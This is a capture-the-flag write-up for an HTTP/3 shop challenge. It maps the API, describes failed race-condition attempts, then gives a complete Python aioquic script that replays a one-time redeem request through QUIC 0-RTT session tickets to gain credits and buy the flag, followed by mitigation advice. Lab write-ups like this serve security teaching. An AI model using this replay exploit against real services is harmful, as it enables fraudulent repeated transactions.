Challenge Description
Welcome to our shop of life :) You will get a redeem for every individual user, but you can avail it only once.
Notes: The service is reachable over HTTPS (HTTP/3 via QUIC). Keep your user_id safe; it's your wallet.
Initial Reconnaissance
Prerequisites
The challenge uses HTTP/3 over QUIC, which requires special tooling:
# Install curl with HTTP/3 support (macOS)
brew install curl
# The homebrew curl is installed at:
/opt/homebrew/opt/curl/bin/curl
# Verify HTTP/3 support
/opt/homebrew/opt/curl/bin/curl --version | grep -i http3
# Should show: nghttp3 and ngtcp2 libraries
# Install Python dependencies for the exploit
pip3 install aioquic
API Endpoints Discovery
Using the provided swagger.txt and manual testing, I discovered the following endpoints:
| Endpoint | Method | Description |
|---|---|---|
/register |
POST | Create a new user, returns user_id |
/api/shop |
GET | List available items and prices |
/api/balance?user_id=X |
GET | Check user's current balance |
/api/redeem |
POST | Redeem 100 credits (one-time per user) |
/api/buy |
POST | Purchase an item |
/api/inventory?user_id=X |
GET | List owned items |
/api/progress?user_id=X |
GET | Check progress toward flag |
/flag?user_id=X |
GET | Retrieve flag (must own flag item) |
/api/transfer |
POST | Transfer credits (broken/unused) |
Testing the API
export CURL="/opt/homebrew/opt/curl/bin/curl"
# Register a new user
uid=$($CURL --http3 -k -s -H 'content-type: application/json' \
-d '{}' -X POST "https://104.198.24.52:6016/register" | \
python3 -c "import sys,json;print(json.load(sys.stdin)['user_id'])")
echo "User ID: $uid"
# Check shop items
$CURL --http3 -k -s "https://104.198.24.52:6016/api/shop"
# Output: {"items":[{"item":"fame","price":50},{"item":"power","price":70},
# {"item":"respect","price":90},{"item":"flag","price":500}]}
# Redeem credits
$CURL --http3 -k -s -H 'content-type: application/json' \
-d "{\"user_id\":\"$uid\"}" -X POST "https://104.198.24.52:6016/api/redeem"
# Output: {"balance":100,"can_afford_flag":false,"credited":100,
# "remaining":400,"success":true}
# Try to redeem again
$CURL --http3 -k -s -H 'content-type: application/json' \
-d "{\"user_id\":\"$uid\"}" -X POST "https://104.198.24.52:6016/api/redeem"
# Output: {"error":"only one transfer huh!!"}
# Check progress
$CURL --http3 -k -s "https://104.198.24.52:6016/api/progress?user_id=$uid"
# Output: {"balance":100,"can_afford_flag":false,"flag_owned":false,
# "flag_ready":false,"remaining":400}
The Problem
- Flag costs: 500 credits
- Redeem gives: 100 credits (one-time only)
- Deficit: 400 credits
We need to find a way to get more credits.
Failed Attempts
1. Race Condition on Redeem
I tried sending multiple parallel redeem requests hoping to exploit a TOCTOU (Time-of-check-time-of-use) vulnerability:
# Sending 15 parallel redeem requests on the same QUIC connection
# Result: Only 1 succeeded - server has proper locking
2. Race Condition on Buy
Attempted to buy the same item multiple times simultaneously to trigger negative balance:
# Racing 10 buy requests for 'fame' (50 each, we have 100)
# Result: Only 1 purchase succeeded - proper locking
3. Transfer Endpoint
The /api/transfer endpoint exists but couldn't find working parameters:
# Tried: user_id, to, from, amount, sender_id, receiver_id, etc.
# All returned: {"error":"Invalid user_id or amount"}
4. Price Manipulation
Discovered that displayed prices differ from actual charged prices:
fame: listed 50, charged 50 ✓power: listed 70, charged 90respect: listed 90, charged 70
However, this didn't help reach 500 credits.
The Vulnerability: HTTP/3 0-RTT Replay Attack
Background on QUIC 0-RTT
HTTP/3 uses QUIC as its transport layer. QUIC supports 0-RTT (Zero Round Trip Time) connections, which allows:
- On first connection, the server sends a session ticket to the client
- On subsequent connections, the client can use this ticket to send early data before the handshake completes
- This reduces latency but introduces a security risk: replay attacks
If the server doesn't implement anti-replay mechanisms, an attacker can:
- Capture the 0-RTT early data
- Replay it multiple times
- Each replay is processed as a valid request
Why This Works
The /api/redeem endpoint checks if a user has already redeemed, but this check happens after the 0-RTT data is processed. When we replay the 0-RTT request:
- The server accepts the early data
- Processes the redeem request
- Credits 100 to the balance
- The "already redeemed" flag is checked/set, but too late for replay protection
The Exploit
Full Python Exploit Script
#!/usr/bin/env python3
"""
HTTP/3 0-RTT Replay Attack for Shop of Life CTF
Exploits missing anti-replay protection in QUIC 0-RTT early data.
"""
import asyncio
import json
import ssl
import pickle
from pathlib import Path
from aioquic.asyncio import connect
from aioquic.asyncio.protocol import QuicConnectionProtocol
from aioquic.quic.configuration import QuicConfiguration
from aioquic.h3.connection import H3_ALPN, H3Connection
from aioquic.h3.events import HeadersReceived, DataReceived
class H3Client(QuicConnectionProtocol):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self._http = None
self._responses = {}
self._response_events = {}
def http_event_received(self, event):
if isinstance(event, HeadersReceived):
if event.stream_id not in self._responses:
self._responses[event.stream_id] = {"headers": [], "body": b""}
self._responses[event.stream_id]["headers"] = event.headers
elif isinstance(event, DataReceived):
if event.stream_id in self._responses:
self._responses[event.stream_id]["body"] += event.data
if event.stream_ended:
if event.stream_id in self._response_events:
self._response_events[event.stream_id].set()
def quic_event_received(self, event):
if self._http is not None:
for http_event in self._http.handle_event(event):
self.http_event_received(http_event)
async def send_request(client, host, port, method, path, body=None):
stream_id = client._quic.get_next_available_stream_id()
headers = [
(b":method", method.encode()),
(b":scheme", b"https"),
(b":authority", f"{host}:{port}".encode()),
(b":path", path.encode()),
]
if body:
headers.append((b"content-type", b"application/json"))
client._http.send_headers(stream_id, headers)
client._http.send_data(stream_id, body.encode(), end_stream=True)
else:
client._http.send_headers(stream_id, headers, end_stream=True)
client._responses[stream_id] = {"headers": [], "body": b""}
client._response_events[stream_id] = asyncio.Event()
return stream_id
async def main():
host = "104.198.24.52"
port = 6016
# ==========================================
# PHASE 1: Establish session and get ticket
# ==========================================
print("=== Phase 1: Establishing session and registering user ===")
config1 = QuicConfiguration(is_client=True, alpn_protocols=H3_ALPN)
config1.verify_mode = ssl.CERT_NONE
session_ticket = None
def save_ticket(ticket):
nonlocal session_ticket
session_ticket = ticket
print(f" -> Received session ticket: {ticket.ticket[:20].hex()}...")
async with connect(host, port, configuration=config1,
create_protocol=H3Client,
session_ticket_handler=save_ticket) as client:
client._http = H3Connection(client._quic)
# Register user
stream_id = await send_request(client, host, port, "POST", "/register", "{}")
client.transmit()
await client._response_events[stream_id].wait()
user_data = json.loads(client._responses[stream_id]["body"])
user_id = user_data["user_id"]
print(f" User ID: {user_id}")
# Wait for session ticket
await asyncio.sleep(0.5)
# First redeem (legitimate)
stream_id = await send_request(client, host, port, "POST", "/api/redeem",
json.dumps({"user_id": user_id}))
client.transmit()
await client._response_events[stream_id].wait()
print(f" First redeem: {client._responses[stream_id]['body'].decode()}")
# Check balance
stream_id = await send_request(client, host, port, "GET",
f"/api/balance?user_id={user_id}")
client.transmit()
await client._response_events[stream_id].wait()
print(f" Balance: {client._responses[stream_id]['body'].decode()}")
if session_ticket is None:
print("\nERROR: No session ticket received!")
return
# ==========================================
# PHASE 2: 0-RTT Replay Attack
# ==========================================
print(f"\n=== Phase 2: 0-RTT Replay Attack ===")
for i in range(5): # Need 4 more redeems to reach 500
print(f"\n--- 0-RTT Replay {i+1} ---")
config2 = QuicConfiguration(is_client=True, alpn_protocols=H3_ALPN)
config2.verify_mode = ssl.CERT_NONE
config2.session_ticket = session_ticket # Reuse session ticket!
try:
async with connect(host, port, configuration=config2,
create_protocol=H3Client) as client:
client._http = H3Connection(client._quic)
# Send redeem in 0-RTT early data
stream_id = await send_request(client, host, port, "POST", "/api/redeem",
json.dumps({"user_id": user_id}))
client.transmit()
await asyncio.wait_for(client._response_events[stream_id].wait(), timeout=5.0)
result = client._responses[stream_id]["body"].decode()
print(f" Redeem result: {result}")
# Check balance
stream_id = await send_request(client, host, port, "GET",
f"/api/balance?user_id={user_id}")
client.transmit()
await client._response_events[stream_id].wait()
balance_data = json.loads(client._responses[stream_id]["body"])
print(f" Current balance: {balance_data['balance']}")
# ==========================================
# PHASE 3: Buy flag when we have 500
# ==========================================
if balance_data['balance'] >= 500:
print("\n=== Phase 3: Purchasing Flag ===")
# Buy flag
stream_id = await send_request(client, host, port, "POST", "/api/buy",
json.dumps({"user_id": user_id, "item": "flag"}))
client.transmit()
await client._response_events[stream_id].wait()
print(f" Purchase: {client._responses[stream_id]['body'].decode()}")
# Get flag
stream_id = await send_request(client, host, port, "GET",
f"/flag?user_id={user_id}")
client.transmit()
await client._response_events[stream_id].wait()
flag_response = client._responses[stream_id]["body"].decode()
print(f"\n FLAG: {flag_response}")
return
except Exception as e:
print(f" Error: {e}")
if __name__ == "__main__":
asyncio.run(main())
Running the Exploit
# Save the script as exploit.py
python3 exploit.py
Attack Flow Diagram
[Client] [Server]
| |
| 1. Establish QUIC Session |
|------------------------------------->|
| |
| <-- (Receive Session Ticket) -- |
|<-------------------------------------|
| |
| 2. 0-RTT Replay Attack |
| (Send "Redeem" w/ same ticket) |
|=====================================>|
| (Request 1: +100 Credits) |
| |
|=====================================>|
| (Request 2: +100 Credits) |
| |
| ... Repeat until rich ... |
| |
| 3. Buy Flag |
|------------------------------------->|
| <-- FLAG{...} -- |
|<-------------------------------------|
Mitigation
To prevent 0-RTT replay attacks, servers should:
-
Disable 0-RTT for sensitive operations: Financial transactions, authentication, and state-changing operations should require 1-RTT.
-
Implement anti-replay mechanisms:
- Strike registers (track seen 0-RTT client hellos)
- Single-use tokens
- Timestamp validation with small windows
-
Use idempotency keys: Require unique tokens for each request that the server tracks.
-
Mark endpoints appropriately: HTTP/3 servers should configure which endpoints accept 0-RTT early data.
Example (server-side configuration):
# Pseudo-code for proper 0-RTT handling
@app.route('/api/redeem', methods=['POST'])
def redeem():
if request.is_early_data: # 0-RTT
return "Request must be sent after handshake", 425 # Too Early
# ... normal processing